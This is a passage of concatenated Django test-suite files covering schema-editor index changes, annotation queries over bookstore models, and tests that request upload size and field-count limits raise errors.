        # Create the table and verify initial indexes.
        with connection.schema_editor() as editor:
            editor.create_model(BookWithoutAuthor)
        self.assertEqual(
            self.get_constraints_for_column(BookWithoutAuthor, 'title'),
            ['schema_book_title_2dfb2dff', 'schema_book_title_2dfb2dff_like']
        )
        # Alter to add unique=True (should replace the index)
        old_field = BookWithoutAuthor._meta.get_field('title')
        new_field = CharField(max_length=100, db_index=True, unique=True)
        new_field.set_attributes_from_name('title')
        with connection.schema_editor() as editor:
            editor.alter_field(BookWithoutAuthor, old_field, new_field, strict=True)
        self.assertEqual(
            self.get_constraints_for_column(BookWithoutAuthor, 'title'),
            ['schema_book_title_2dfb2dff_like', 'schema_book_title_2dfb2dff_uniq']
        )
        # Alter to remove both unique=True and db_index=True (should drop all indexes)
        new_field2 = CharField(max_length=100)
        new_field2.set_attributes_from_name('title')
        with connection.schema_editor() as editor:
            editor.alter_field(BookWithoutAuthor, new_field, new_field2, strict=True)
        self.assertEqual(self.get_constraints_for_column(BookWithoutAuthor, 'title'), [])

    @unittest.skipUnless(connection.vendor == 'postgresql', "PostgreSQL specific")
    def test_alter_field_swap_unique_and_db_index_with_charfield(self):
        # Create the table and verify initial indexes.
        with connection.schema_editor() as editor:
            editor.create_model(BookWithoutAuthor)
        self.assertEqual(
            self.get_constraints_for_column(BookWithoutAuthor, 'title'),
            ['schema_book_title_2dfb2dff', 'schema_book_title_2dfb2dff_like']
        )
        # Alter to set unique=True and remove db_index=True (should replace the index)
        old_field = BookWithoutAuthor._meta.get_field('title')
        new_field = CharField(max_length=100, unique=True)
        new_field.set_attributes_from_name('title')
        with connection.schema_editor() as editor:
            editor.alter_field(BookWithoutAuthor, old_field, new_field, strict=True)
        self.assertEqual(
            self.get_constraints_for_column(BookWithoutAuthor, 'title'),
            ['schema_book_title_2dfb2dff_like', 'schema_book_title_2dfb2dff_uniq']
        )
        # Alter to set db_index=True and remove unique=True (should restore index)
        new_field2 = CharField(max_length=100, db_index=True)
        new_field2.set_attributes_from_name('title')
        with connection.schema_editor() as editor:
            editor.alter_field(BookWithoutAuthor, new_field, new_field2, strict=True)
        self.assertEqual(
            self.get_constraints_for_column(BookWithoutAuthor, 'title'),
            ['schema_book_title_2dfb2dff', 'schema_book_title_2dfb2dff_like']
        )

    @unittest.skipUnless(connection.vendor == 'postgresql', "PostgreSQL specific")
    def test_alter_field_add_db_index_to_charfield_with_unique(self):
        # Create the table and verify initial indexes.
        with connection.schema_editor() as editor:
            editor.create_model(Tag)
        self.assertEqual(
            self.get_constraints_for_column(Tag, 'slug'),
            ['schema_tag_slug_2c418ba3_like', 'schema_tag_slug_key']
        )
        # Alter to add db_index=True
        old_field = Tag._meta.get_field('slug')
        new_field = SlugField(db_index=True, unique=True)
        new_field.set_attributes_from_name('slug')
        with connection.schema_editor() as editor:
            editor.alter_field(Tag, old_field, new_field, strict=True)
        self.assertEqual(
            self.get_constraints_for_column(Tag, 'slug'),
            ['schema_tag_slug_2c418ba3_like', 'schema_tag_slug_key']
        )
        # Alter to remove db_index=True
        new_field2 = SlugField(unique=True)
        new_field2.set_attributes_from_name('slug')
        with connection.schema_editor() as editor:
            editor.alter_field(Tag, new_field, new_field2, strict=True)
        self.assertEqual(
            self.get_constraints_for_column(Tag, 'slug'),
            ['schema_tag_slug_2c418ba3_like', 'schema_tag_slug_key']
        )

    def test_alter_field_add_index_to_integerfield(self):
        # Create the table and verify no initial indexes.
        with connection.schema_editor() as editor:
            editor.create_model(Author)
        self.assertEqual(self.get_constraints_for_column(Author, 'weight'), [])

        # Alter to add db_index=True and create index.
        old_field = Author._meta.get_field('weight')
        new_field = IntegerField(null=True, db_index=True)
        new_field.set_attributes_from_name('weight')
        with connection.schema_editor() as editor:
            editor.alter_field(Author, old_field, new_field, strict=True)

        expected = 'schema_author_weight_587740f9'
        if connection.features.uppercases_column_names:
            expected = expected.upper()
        self.assertEqual(self.get_constraints_for_column(Author, 'weight'), [expected])

        # Remove db_index=True to drop index.
        with connection.schema_editor() as editor:
            editor.alter_field(Author, new_field, old_field, strict=True)
        self.assertEqual(self.get_constraints_for_column(Author, 'weight'), [])

    def test_alter_pk_with_self_referential_field(self):
        """
        Changing the primary key field name of a model with a self-referential
        foreign key (#26384).
        """
        if connection.vendor == 'mysql' and connection.mysql_version < (5, 6, 6):
            self.skipTest('Skip known bug renaming primary keys on older MySQL versions (#24995).')
        old_field = Node._meta.get_field('node_id')
        new_field = AutoField(primary_key=True)
        new_field.set_attributes_from_name('id')
        with connection.schema_editor() as editor:
            editor.alter_field(Node, old_field, new_field, strict=True)

    @mock.patch('django.db.backends.base.schema.datetime')
    @mock.patch('django.db.backends.base.schema.timezone')
    def test_add_datefield_and_datetimefield_use_effective_default(self, mocked_datetime, mocked_tz):
        """
        effective_default() should be used for DateField, DateTimeField, and
        TimeField if auto_now or auto_add_now is set (#25005).
        """
        now = datetime.datetime(month=1, day=1, year=2000, hour=1, minute=1)
        now_tz = datetime.datetime(month=1, day=1, year=2000, hour=1, minute=1, tzinfo=UTC())
        mocked_datetime.now = mock.MagicMock(return_value=now)
        mocked_tz.now = mock.MagicMock(return_value=now_tz)
        # Create the table
        with connection.schema_editor() as editor:
            editor.create_model(Author)
        # Check auto_now/auto_now_add attributes are not defined
        columns = self.column_classes(Author)
        self.assertNotIn("dob_auto_now", columns)
        self.assertNotIn("dob_auto_now_add", columns)
        self.assertNotIn("dtob_auto_now", columns)
        self.assertNotIn("dtob_auto_now_add", columns)
        self.assertNotIn("tob_auto_now", columns)
        self.assertNotIn("tob_auto_now_add", columns)
        # Create a row
        Author.objects.create(name='Anonymous1')
        # Ensure fields were added with the correct defaults
        dob_auto_now = DateField(auto_now=True)
        dob_auto_now.set_attributes_from_name('dob_auto_now')
        self.check_added_field_default(
            editor, Author, dob_auto_now, 'dob_auto_now', now.date(),
            cast_function=lambda x: x.date(),
        )
        dob_auto_now_add = DateField(auto_now_add=True)
        dob_auto_now_add.set_attributes_from_name('dob_auto_now_add')
        self.check_added_field_default(
            editor, Author, dob_auto_now_add, 'dob_auto_now_add', now.date(),
            cast_function=lambda x: x.date(),
        )
        dtob_auto_now = DateTimeField(auto_now=True)
        dtob_auto_now.set_attributes_from_name('dtob_auto_now')
        self.check_added_field_default(
            editor, Author, dtob_auto_now, 'dtob_auto_now', now,
        )
        dt_tm_of_birth_auto_now_add = DateTimeField(auto_now_add=True)
        dt_tm_of_birth_auto_now_add.set_attributes_from_name('dtob_auto_now_add')
        self.check_added_field_default(
            editor, Author, dt_tm_of_birth_auto_now_add, 'dtob_auto_now_add', now,
        )
        tob_auto_now = TimeField(auto_now=True)
        tob_auto_now.set_attributes_from_name('tob_auto_now')
        self.check_added_field_default(
            editor, Author, tob_auto_now, 'tob_auto_now', now.time(),
            cast_function=lambda x: x.time(),
        )
        tob_auto_now_add = TimeField(auto_now_add=True)
        tob_auto_now_add.set_attributes_from_name('tob_auto_now_add')
        self.check_added_field_default(
            editor, Author, tob_auto_now_add, 'tob_auto_now_add', now.time(),
            cast_function=lambda x: x.time(),
        )






# coding: utf-8
from django.db import models
from django.utils.encoding import python_2_unicode_compatible


@python_2_unicode_compatible
class Author(models.Model):
    name = models.CharField(max_length=100)
    age = models.IntegerField()
    friends = models.ManyToManyField('self', blank=True)

    def __str__(self):
        return self.name


@python_2_unicode_compatible
class Publisher(models.Model):
    name = models.CharField(max_length=255)
    num_awards = models.IntegerField()

    def __str__(self):
        return self.name


@python_2_unicode_compatible
class Book(models.Model):
    isbn = models.CharField(max_length=9)
    name = models.CharField(max_length=255)
    pages = models.IntegerField()
    rating = models.FloatField()
    price = models.DecimalField(decimal_places=2, max_digits=6)
    authors = models.ManyToManyField(Author)
    contact = models.ForeignKey(Author, models.CASCADE, related_name='book_contact_set')
    publisher = models.ForeignKey(Publisher, models.CASCADE)
    pubdate = models.DateField()

    def __str__(self):
        return self.name


@python_2_unicode_compatible
class Store(models.Model):
    name = models.CharField(max_length=255)
    books = models.ManyToManyField(Book)
    original_opening = models.DateTimeField()
    friday_night_closing = models.TimeField()

    def __str__(self):
        return self.name


@python_2_unicode_compatible
class DepartmentStore(Store):
    chain = models.CharField(max_length=255)

    def __str__(self):
        return '%s - %s ' % (self.chain, self.name)


@python_2_unicode_compatible
class Employee(models.Model):
    # The order of these fields matter, do not change. Certain backends
    # rely on field ordering to perform database conversions, and this
    # model helps to test that.
    first_name = models.CharField(max_length=20)
    manager = models.BooleanField(default=False)
    last_name = models.CharField(max_length=20)
    store = models.ForeignKey(Store, models.CASCADE)
    age = models.IntegerField()
    salary = models.DecimalField(max_digits=8, decimal_places=2)

    def __str__(self):
        return '%s %s' % (self.first_name, self.last_name)


@python_2_unicode_compatible
class Company(models.Model):
    name = models.CharField(max_length=200)
    motto = models.CharField(max_length=200, null=True, blank=True)
    ticker_name = models.CharField(max_length=10, null=True, blank=True)
    description = models.CharField(max_length=200, null=True, blank=True)

    def __str__(self):
        return 'Company(name=%s, motto=%s, ticker_name=%s, description=%s)' % (
            self.name, self.motto, self.ticker_name, self.description,
        )


@python_2_unicode_compatible
class Ticket(models.Model):
    active_at = models.DateTimeField()
    duration = models.DurationField()

    def __str__(self):
        return '{} - {}'.format(self.active_at, self.duration)












from __future__ import unicode_literals

import datetime
from decimal import Decimal

from django.core.exceptions import FieldDoesNotExist, FieldError
from django.db.models import (
    BooleanField, CharField, Count, DateTimeField, ExpressionWrapper, F, Func,
    IntegerField, Q, Sum, Value,
)
from django.db.models.functions import Lower
from django.test import TestCase, skipUnlessDBFeature
from django.utils import six

from .models import (
    Author, Book, Company, DepartmentStore, Employee, Publisher, Store, Ticket,
)


def cxOracle_py3_bug(func):
    """
    There's a bug in Django/cx_Oracle with respect to string handling under
    Python 3 (essentially, they treat Python 3 strings as Python 2 strings
    rather than unicode). This makes some tests here fail under Python 3, so
    we mark them as expected failures until someone fixes them in #23843.
    """
    from unittest import expectedFailure
    from django.db import connection
    return expectedFailure(func) if connection.vendor == 'oracle' and six.PY3 else func


class NonAggregateAnnotationTestCase(TestCase):

    @classmethod
    def setUpTestData(cls):
        cls.a1 = Author.objects.create(name='Adrian Holovaty', age=34)
        cls.a2 = Author.objects.create(name='Jacob Kaplan-Moss', age=35)
        cls.a3 = Author.objects.create(name='Brad Dayley', age=45)
        cls.a4 = Author.objects.create(name='James Bennett', age=29)
        cls.a5 = Author.objects.create(name='Jeffrey Forcier', age=37)
        cls.a6 = Author.objects.create(name='Paul Bissex', age=29)
        cls.a7 = Author.objects.create(name='Wesley J. Chun', age=25)
        cls.a8 = Author.objects.create(name='Peter Norvig', age=57)
        cls.a9 = Author.objects.create(name='Stuart Russell', age=46)
        cls.a1.friends.add(cls.a2, cls.a4)
        cls.a2.friends.add(cls.a1, cls.a7)
        cls.a4.friends.add(cls.a1)
        cls.a5.friends.add(cls.a6, cls.a7)
        cls.a6.friends.add(cls.a5, cls.a7)
        cls.a7.friends.add(cls.a2, cls.a5, cls.a6)
        cls.a8.friends.add(cls.a9)
        cls.a9.friends.add(cls.a8)

        cls.p1 = Publisher.objects.create(name='Apress', num_awards=3)
        cls.p2 = Publisher.objects.create(name='Sams', num_awards=1)
        cls.p3 = Publisher.objects.create(name='Prentice Hall', num_awards=7)
        cls.p4 = Publisher.objects.create(name='Morgan Kaufmann', num_awards=9)
        cls.p5 = Publisher.objects.create(name="Jonno's House of Books", num_awards=0)

        cls.b1 = Book.objects.create(
            isbn='159059725', name='The Definitive Guide to Django: Web Development Done Right',
            pages=447, rating=4.5, price=Decimal('30.00'), contact=cls.a1, publisher=cls.p1,
            pubdate=datetime.date(2007, 12, 6)
        )
        cls.b2 = Book.objects.create(
            isbn='067232959', name='Sams Teach Yourself Django in 24 Hours',
            pages=528, rating=3.0, price=Decimal('23.09'), contact=cls.a3, publisher=cls.p2,
            pubdate=datetime.date(2008, 3, 3)
        )
        cls.b3 = Book.objects.create(
            isbn='159059996', name='Practical Django Projects',
            pages=300, rating=4.0, price=Decimal('29.69'), contact=cls.a4, publisher=cls.p1,
            pubdate=datetime.date(2008, 6, 23)
        )
        cls.b4 = Book.objects.create(
            isbn='013235613', name='Python Web Development with Django',
            pages=350, rating=4.0, price=Decimal('29.69'), contact=cls.a5, publisher=cls.p3,
            pubdate=datetime.date(2008, 11, 3)
        )
        cls.b5 = Book.objects.create(
            isbn='013790395', name='Artificial Intelligence: A Modern Approach',
            pages=1132, rating=4.0, price=Decimal('82.80'), contact=cls.a8, publisher=cls.p3,
            pubdate=datetime.date(1995, 1, 15)
        )
        cls.b6 = Book.objects.create(
            isbn='155860191', name='Paradigms of Artificial Intelligence Programming: Case Studies in Common Lisp',
            pages=946, rating=5.0, price=Decimal('75.00'), contact=cls.a8, publisher=cls.p4,
            pubdate=datetime.date(1991, 10, 15)
        )
        cls.b1.authors.add(cls.a1, cls.a2)
        cls.b2.authors.add(cls.a3)
        cls.b3.authors.add(cls.a4)
        cls.b4.authors.add(cls.a5, cls.a6, cls.a7)
        cls.b5.authors.add(cls.a8, cls.a9)
        cls.b6.authors.add(cls.a8)

        s1 = Store.objects.create(
            name='Amazon.com',
            original_opening=datetime.datetime(1994, 4, 23, 9, 17, 42),
            friday_night_closing=datetime.time(23, 59, 59)
        )
        s2 = Store.objects.create(
            name='Books.com',
            original_opening=datetime.datetime(2001, 3, 15, 11, 23, 37),
            friday_night_closing=datetime.time(23, 59, 59)
        )
        s3 = Store.objects.create(
            name="Mamma and Pappa's Books",
            original_opening=datetime.datetime(1945, 4, 25, 16, 24, 14),
            friday_night_closing=datetime.time(21, 30)
        )
        s1.books.add(cls.b1, cls.b2, cls.b3, cls.b4, cls.b5, cls.b6)
        s2.books.add(cls.b1, cls.b3, cls.b5, cls.b6)
        s3.books.add(cls.b3, cls.b4, cls.b6)

    def test_basic_annotation(self):
        books = Book.objects.annotate(
            is_book=Value(1, output_field=IntegerField()))
        for book in books:
            self.assertEqual(book.is_book, 1)

    def test_basic_f_annotation(self):
        books = Book.objects.annotate(another_rating=F('rating'))
        for book in books:
            self.assertEqual(book.another_rating, book.rating)

    def test_joined_annotation(self):
        books = Book.objects.select_related('publisher').annotate(
            num_awards=F('publisher__num_awards'))
        for book in books:
            self.assertEqual(book.num_awards, book.publisher.num_awards)

    def test_mixed_type_annotation_date_interval(self):
        active = datetime.datetime(2015, 3, 20, 14, 0, 0)
        duration = datetime.timedelta(hours=1)
        expires = datetime.datetime(2015, 3, 20, 14, 0, 0) + duration
        Ticket.objects.create(active_at=active, duration=duration)
        t = Ticket.objects.annotate(
            expires=ExpressionWrapper(F('active_at') + F('duration'), output_field=DateTimeField())
        ).first()
        self.assertEqual(t.expires, expires)

    def test_mixed_type_annotation_numbers(self):
        test = self.b1
        b = Book.objects.annotate(
            combined=ExpressionWrapper(F('pages') + F('rating'), output_field=IntegerField())
        ).get(isbn=test.isbn)
        combined = int(test.pages + test.rating)
        self.assertEqual(b.combined, combined)

    def test_empty_expression_annotation(self):
        books = Book.objects.annotate(
            selected=ExpressionWrapper(Q(pk__in=[]), output_field=BooleanField())
        )
        self.assertEqual(len(books), Book.objects.count())
        self.assertTrue(all(not book.selected for book in books))

        books = Book.objects.annotate(
            selected=ExpressionWrapper(Q(pk__in=Book.objects.none()), output_field=BooleanField())
        )
        self.assertEqual(len(books), Book.objects.count())
        self.assertTrue(all(not book.selected for book in books))

    def test_annotate_with_aggregation(self):
        books = Book.objects.annotate(
            is_book=Value(1, output_field=IntegerField()),
            rating_count=Count('rating'))
        for book in books:
            self.assertEqual(book.is_book, 1)
            self.assertEqual(book.rating_count, 1)

    def test_aggregate_over_annotation(self):
        agg = Author.objects.annotate(other_age=F('age')).aggregate(otherage_sum=Sum('other_age'))
        other_agg = Author.objects.aggregate(age_sum=Sum('age'))
        self.assertEqual(agg['otherage_sum'], other_agg['age_sum'])

    @skipUnlessDBFeature('can_distinct_on_fields')
    def test_distinct_on_with_annotation(self):
        store = Store.objects.create(
            name='test store',
            original_opening=datetime.datetime.now(),
            friday_night_closing=datetime.time(21, 00, 00),
        )
        names = [
            'Theodore Roosevelt',
            'Eleanor Roosevelt',
            'Franklin Roosevelt',
            'Ned Stark',
            'Catelyn Stark',
        ]
        for name in names:
            Employee.objects.create(
                store=store,
                first_name=name.split()[0],
                last_name=name.split()[1],
                age=30, salary=2000,
            )

        people = Employee.objects.annotate(
            name_lower=Lower('last_name'),
        ).distinct('name_lower')

        self.assertEqual(set(p.last_name for p in people), {'Stark', 'Roosevelt'})
        self.assertEqual(len(people), 2)

        people2 = Employee.objects.annotate(
            test_alias=F('store__name'),
        ).distinct('test_alias')
        self.assertEqual(len(people2), 1)

    def test_filter_annotation(self):
        books = Book.objects.annotate(
            is_book=Value(1, output_field=IntegerField())
        ).filter(is_book=1)
        for book in books:
            self.assertEqual(book.is_book, 1)

    def test_filter_annotation_with_f(self):
        books = Book.objects.annotate(
            other_rating=F('rating')
        ).filter(other_rating=3.5)
        for book in books:
            self.assertEqual(book.other_rating, 3.5)

    def test_filter_annotation_with_double_f(self):
        books = Book.objects.annotate(
            other_rating=F('rating')
        ).filter(other_rating=F('rating'))
        for book in books:
            self.assertEqual(book.other_rating, book.rating)

    def test_filter_agg_with_double_f(self):
        books = Book.objects.annotate(
            sum_rating=Sum('rating')
        ).filter(sum_rating=F('sum_rating'))
        for book in books:
            self.assertEqual(book.sum_rating, book.rating)

    def test_filter_wrong_annotation(self):
        with six.assertRaisesRegex(self, FieldError, "Cannot resolve keyword .*"):
            list(Book.objects.annotate(
                sum_rating=Sum('rating')
            ).filter(sum_rating=F('nope')))

    def test_combined_annotation_commutative(self):
        book1 = Book.objects.annotate(adjusted_rating=F('rating') + 2).get(pk=self.b1.pk)
        book2 = Book.objects.annotate(adjusted_rating=2 + F('rating')).get(pk=self.b1.pk)
        self.assertEqual(book1.adjusted_rating, book2.adjusted_rating)
        book1 = Book.objects.annotate(adjusted_rating=F('rating') + None).get(pk=self.b1.pk)
        book2 = Book.objects.annotate(adjusted_rating=None + F('rating')).get(pk=self.b1.pk)
        self.assertEqual(book1.adjusted_rating, book2.adjusted_rating)

    def test_update_with_annotation(self):
        book_preupdate = Book.objects.get(pk=self.b2.pk)
        Book.objects.annotate(other_rating=F('rating') - 1).update(rating=F('other_rating'))
        book_postupdate = Book.objects.get(pk=self.b2.pk)
        self.assertEqual(book_preupdate.rating - 1, book_postupdate.rating)

    def test_annotation_with_m2m(self):
        books = Book.objects.annotate(author_age=F('authors__age')).filter(pk=self.b1.pk).order_by('author_age')
        self.assertEqual(books[0].author_age, 34)
        self.assertEqual(books[1].author_age, 35)

    def test_annotation_reverse_m2m(self):
        books = Book.objects.annotate(
            store_name=F('store__name')).filter(
            name='Practical Django Projects').order_by(
            'store_name')

        self.assertQuerysetEqual(
            books, [
                'Amazon.com',
                'Books.com',
                'Mamma and Pappa\'s Books'
            ],
            lambda b: b.store_name
        )

    def test_values_annotation(self):
        """
        Annotations can reference fields in a values clause,
        and contribute to an existing values clause.
        """
        # annotate references a field in values()
        qs = Book.objects.values('rating').annotate(other_rating=F('rating') - 1)
        book = qs.get(pk=self.b1.pk)
        self.assertEqual(book['rating'] - 1, book['other_rating'])

        # filter refs the annotated value
        book = qs.get(other_rating=4)
        self.assertEqual(book['other_rating'], 4)

        # can annotate an existing values with a new field
        book = qs.annotate(other_isbn=F('isbn')).get(other_rating=4)
        self.assertEqual(book['other_rating'], 4)
        self.assertEqual(book['other_isbn'], '155860191')

    def test_defer_annotation(self):
        """
        Deferred attributes can be referenced by an annotation,
        but they are not themselves deferred, and cannot be deferred.
        """
        qs = Book.objects.defer('rating').annotate(other_rating=F('rating') - 1)

        with self.assertNumQueries(2):
            book = qs.get(other_rating=4)
            self.assertEqual(book.rating, 5)
            self.assertEqual(book.other_rating, 4)

        with six.assertRaisesRegex(self, FieldDoesNotExist, "\w has no field named u?'other_rating'"):
            book = qs.defer('other_rating').get(other_rating=4)

    def test_mti_annotations(self):
        """
        Fields on an inherited model can be referenced by an
        annotated field.
        """
        d = DepartmentStore.objects.create(
            name='Angus & Robinson',
            original_opening=datetime.date(2014, 3, 8),
            friday_night_closing=datetime.time(21, 00, 00),
            chain='Westfield'
        )

        books = Book.objects.filter(rating__gt=4)
        for b in books:
            d.books.add(b)

        qs = DepartmentStore.objects.annotate(
            other_name=F('name'),
            other_chain=F('chain'),
            is_open=Value(True, BooleanField()),
            book_isbn=F('books__isbn')
        ).order_by('book_isbn').filter(chain='Westfield')

        self.assertQuerysetEqual(
            qs, [
                ('Angus & Robinson', 'Westfield', True, '155860191'),
                ('Angus & Robinson', 'Westfield', True, '159059725')
            ],
            lambda d: (d.other_name, d.other_chain, d.is_open, d.book_isbn)
        )

    def test_null_annotation(self):
        """
        Test that annotating None onto a model round-trips
        """
        book = Book.objects.annotate(no_value=Value(None, output_field=IntegerField())).first()
        self.assertIsNone(book.no_value)

    def test_order_by_annotation(self):
        authors = Author.objects.annotate(other_age=F('age')).order_by('other_age')
        self.assertQuerysetEqual(
            authors, [
                25, 29, 29, 34, 35, 37, 45, 46, 57,
            ],
            lambda a: a.other_age
        )

    def test_order_by_aggregate(self):
        authors = Author.objects.values('age').annotate(age_count=Count('age')).order_by('age_count', 'age')
        self.assertQuerysetEqual(
            authors, [
                (25, 1), (34, 1), (35, 1), (37, 1), (45, 1), (46, 1), (57, 1), (29, 2),
            ],
            lambda a: (a['age'], a['age_count'])
        )

    def test_annotate_exists(self):
        authors = Author.objects.annotate(c=Count('id')).filter(c__gt=1)
        self.assertFalse(authors.exists())

    def test_column_field_ordering(self):
        """
        Test that columns are aligned in the correct order for
        resolve_columns. This test will fail on mysql if column
        ordering is out. Column fields should be aligned as:
        1. extra_select
        2. model_fields
        3. annotation_fields
        4. model_related_fields
        """
        store = Store.objects.first()
        Employee.objects.create(id=1, first_name='Max', manager=True, last_name='Paine',
                                store=store, age=23, salary=Decimal(50000.00))
        Employee.objects.create(id=2, first_name='Buffy', manager=False, last_name='Summers',
                                store=store, age=18, salary=Decimal(40000.00))

        qs = Employee.objects.extra(
            select={'random_value': '42'}
        ).select_related('store').annotate(
            annotated_value=Value(17, output_field=IntegerField())
        )

        rows = [
            (1, 'Max', True, 42, 'Paine', 23, Decimal(50000.00), store.name, 17),
            (2, 'Buffy', False, 42, 'Summers', 18, Decimal(40000.00), store.name, 17)
        ]

        self.assertQuerysetEqual(
            qs.order_by('id'), rows,
            lambda e: (
                e.id, e.first_name, e.manager, e.random_value, e.last_name, e.age,
                e.salary, e.store.name, e.annotated_value))

    def test_column_field_ordering_with_deferred(self):
        store = Store.objects.first()
        Employee.objects.create(id=1, first_name='Max', manager=True, last_name='Paine',
                                store=store, age=23, salary=Decimal(50000.00))
        Employee.objects.create(id=2, first_name='Buffy', manager=False, last_name='Summers',
                                store=store, age=18, salary=Decimal(40000.00))

        qs = Employee.objects.extra(
            select={'random_value': '42'}
        ).select_related('store').annotate(
            annotated_value=Value(17, output_field=IntegerField())
        )

        rows = [
            (1, 'Max', True, 42, 'Paine', 23, Decimal(50000.00), store.name, 17),
            (2, 'Buffy', False, 42, 'Summers', 18, Decimal(40000.00), store.name, 17)
        ]

        # and we respect deferred columns!
        self.assertQuerysetEqual(
            qs.defer('age').order_by('id'), rows,
            lambda e: (
                e.id, e.first_name, e.manager, e.random_value, e.last_name, e.age,
                e.salary, e.store.name, e.annotated_value))

    @cxOracle_py3_bug
    def test_custom_functions(self):
        Company(name='Apple', motto=None, ticker_name='APPL', description='Beautiful Devices').save()
        Company(name='Django Software Foundation', motto=None, ticker_name=None, description=None).save()
        Company(name='Google', motto='Do No Evil', ticker_name='GOOG', description='Internet Company').save()
        Company(name='Yahoo', motto=None, ticker_name=None, description='Internet Company').save()

        qs = Company.objects.annotate(
            tagline=Func(
                F('motto'),
                F('ticker_name'),
                F('description'),
                Value('No Tag'),
                function='COALESCE'
            )
        ).order_by('name')

        self.assertQuerysetEqual(
            qs, [
                ('Apple', 'APPL'),
                ('Django Software Foundation', 'No Tag'),
                ('Google', 'Do No Evil'),
                ('Yahoo', 'Internet Company')
            ],
            lambda c: (c.name, c.tagline)
        )

    @cxOracle_py3_bug
    def test_custom_functions_can_ref_other_functions(self):
        Company(name='Apple', motto=None, ticker_name='APPL', description='Beautiful Devices').save()
        Company(name='Django Software Foundation', motto=None, ticker_name=None, description=None).save()
        Company(name='Google', motto='Do No Evil', ticker_name='GOOG', description='Internet Company').save()
        Company(name='Yahoo', motto=None, ticker_name=None, description='Internet Company').save()

        class Lower(Func):
            function = 'LOWER'

        qs = Company.objects.annotate(
            tagline=Func(
                F('motto'),
                F('ticker_name'),
                F('description'),
                Value('No Tag'),
                function='COALESCE')
        ).annotate(
            tagline_lower=Lower(F('tagline'), output_field=CharField())
        ).order_by('name')

        # LOWER function supported by:
        # oracle, postgres, mysql, sqlite, sqlserver

        self.assertQuerysetEqual(
            qs, [
                ('Apple', 'APPL'.lower()),
                ('Django Software Foundation', 'No Tag'.lower()),
                ('Google', 'Do No Evil'.lower()),
                ('Yahoo', 'Internet Company'.lower())
            ],
            lambda c: (c.name, c.tagline_lower)
        )






from io import BytesIO

from django.core.exceptions import RequestDataTooBig, TooManyFieldsSent
from django.core.handlers.wsgi import WSGIRequest
from django.test import SimpleTestCase
from django.test.client import FakePayload

TOO_MANY_FIELDS_MSG = 'The number of GET/POST parameters exceeded settings.DATA_UPLOAD_MAX_NUMBER_FIELDS.'
TOO_MUCH_DATA_MSG = 'Request body exceeded settings.DATA_UPLOAD_MAX_MEMORY_SIZE.'


class DataUploadMaxMemorySizeFormPostTests(SimpleTestCase):
    def setUp(self):
        payload = FakePayload('a=1&a=2;a=3\r\n')
        self.request = WSGIRequest({
            'REQUEST_METHOD': 'POST',
            'CONTENT_TYPE': 'application/x-www-form-urlencoded',
            'CONTENT_LENGTH': len(payload),
            'wsgi.input': payload,
        })

    def test_size_exceeded(self):
        with self.settings(DATA_UPLOAD_MAX_MEMORY_SIZE=12):
            with self.assertRaisesMessage(RequestDataTooBig, TOO_MUCH_DATA_MSG):
                self.request._load_post_and_files()

    def test_size_not_exceeded(self):
        with self.settings(DATA_UPLOAD_MAX_MEMORY_SIZE=13):
            self.request._load_post_and_files()

    def test_no_limit(self):
        with self.settings(DATA_UPLOAD_MAX_MEMORY_SIZE=None):
            self.request._load_post_and_files()


class DataUploadMaxMemorySizeMultipartPostTests(SimpleTestCase):
    def setUp(self):
        payload = FakePayload("\r\n".join([
            '--boundary',
            'Content-Disposition: form-data; name="name"',
            '',
            'value',
            '--boundary--'
            ''
        ]))
        self.request = WSGIRequest({
            'REQUEST_METHOD': 'POST',
            'CONTENT_TYPE': 'multipart/form-data; boundary=boundary',
            'CONTENT_LENGTH': len(payload),
            'wsgi.input': payload,
        })

    def test_size_exceeded(self):
        with self.settings(DATA_UPLOAD_MAX_MEMORY_SIZE=10):
            with self.assertRaisesMessage(RequestDataTooBig, TOO_MUCH_DATA_MSG):
                self.request._load_post_and_files()

    def test_size_not_exceeded(self):
        with self.settings(DATA_UPLOAD_MAX_MEMORY_SIZE=11):
            self.request._load_post_and_files()

    def test_no_limit(self):
        with self.settings(DATA_UPLOAD_MAX_MEMORY_SIZE=None):
            self.request._load_post_and_files()

    def test_file_passes(self):
        payload = FakePayload("\r\n".join([
            '--boundary',
            'Content-Disposition: form-data; name="file1"; filename="test.file"',
            '',
            'value',
            '--boundary--'
            ''
        ]))
        request = WSGIRequest({
            'REQUEST_METHOD': 'POST',
            'CONTENT_TYPE': 'multipart/form-data; boundary=boundary',
            'CONTENT_LENGTH': len(payload),
            'wsgi.input': payload,
        })
        with self.settings(DATA_UPLOAD_MAX_MEMORY_SIZE=1):
            request._load_post_and_files()
            self.assertIn('file1', request.FILES, "Upload file not present")


class DataUploadMaxMemorySizeGetTests(SimpleTestCase):
    def setUp(self):
        self.request = WSGIRequest({
            'REQUEST_METHOD': 'GET',
            'wsgi.input': BytesIO(b''),
            'CONTENT_LENGTH': 3,
        })

    def test_data_upload_max_memory_size_exceeded(self):
        with self.settings(DATA_UPLOAD_MAX_MEMORY_SIZE=2):
            with self.assertRaisesMessage(RequestDataTooBig, TOO_MUCH_DATA_MSG):
                self.request.body

    def test_size_not_exceeded(self):
        with self.settings(DATA_UPLOAD_MAX_MEMORY_SIZE=3):
            self.request.body

    def test_no_limit(self):
        with self.settings(DATA_UPLOAD_MAX_MEMORY_SIZE=None):
            self.request.body

    def test_empty_content_length(self):
        self.request.environ['CONTENT_LENGTH'] = ''
        self.request.body


class DataUploadMaxNumberOfFieldsGet(SimpleTestCase):

    def test_get_max_fields_exceeded(self):
        with self.settings(DATA_UPLOAD_MAX_NUMBER_FIELDS=1):
            with self.assertRaisesMessage(TooManyFieldsSent, TOO_MANY_FIELDS_MSG):
                request = WSGIRequest({
                    'REQUEST_METHOD': 'GET',
                    'wsgi.input': BytesIO(b''),
                    'QUERY_STRING': 'a=1&a=2;a=3',
                })
                request.GET['a']

    def test_get_max_fields_not_exceeded(self):
        with self.settings(DATA_UPLOAD_MAX_NUMBER_FIELDS=3):
            request = WSGIRequest({
                'REQUEST_METHOD': 'GET',
                'wsgi.input': BytesIO(b''),
                'QUERY_STRING': 'a=1&a=2;a=3',
            })
            request.GET['a']


class DataUploadMaxNumberOfFieldsMultipartPost(SimpleTestCase):
    def setUp(self):
        payload = FakePayload("\r\n".join([
            '--boundary',
            'Content-Disposition: form-data; name="name1"',
            '',
            'value1',
            '--boundary',
            'Content-Disposition: form-data; name="name2"',
            '',
            'value2',
            '--boundary--'
            ''
        ]))
        self.request = WSGIRequest({
            'REQUEST_METHOD': 'POST',
            'CONTENT_TYPE': 'multipart/form-data; boundary=boundary',
            'CONTENT_LENGTH': len(payload),
            'wsgi.input': payload,
        })

